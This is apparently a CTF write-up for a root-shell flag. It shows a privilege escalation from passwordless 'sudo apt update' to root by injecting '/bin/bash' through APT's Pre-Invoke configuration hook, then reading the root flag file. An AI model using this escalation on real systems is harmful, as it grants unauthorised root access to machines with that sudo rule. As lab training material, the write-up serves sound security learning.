← Back to SAVARA FEST CTF

FLAG 6 - ROOT SHELL ESCALATION

Escalate privileges to root using a configuration hook exploit during apt update.

Tools Used

sudoaptConfiguration Injection

Overview

The final objective is to escalate our privileges from user3 to root.

Reconnaissance

Running sudo -l reveals that we can run sudo apt update as root without a password.

Exploitation Strategy

APT supports configuration overrides on the command line. Specifically, we can hook into the Pre-Invoke configuration parameter which executes commands before running the actual update. We pass a shell execution directive:

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

This triggers a shell wrapper to run as root before the apt indexing starts, giving us a fully root shell.

Solution Code

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
# We get root shell:
id -> uid=0(root)
cat /root/flag.txt

Flag

Dynamic Flag (Root Flag)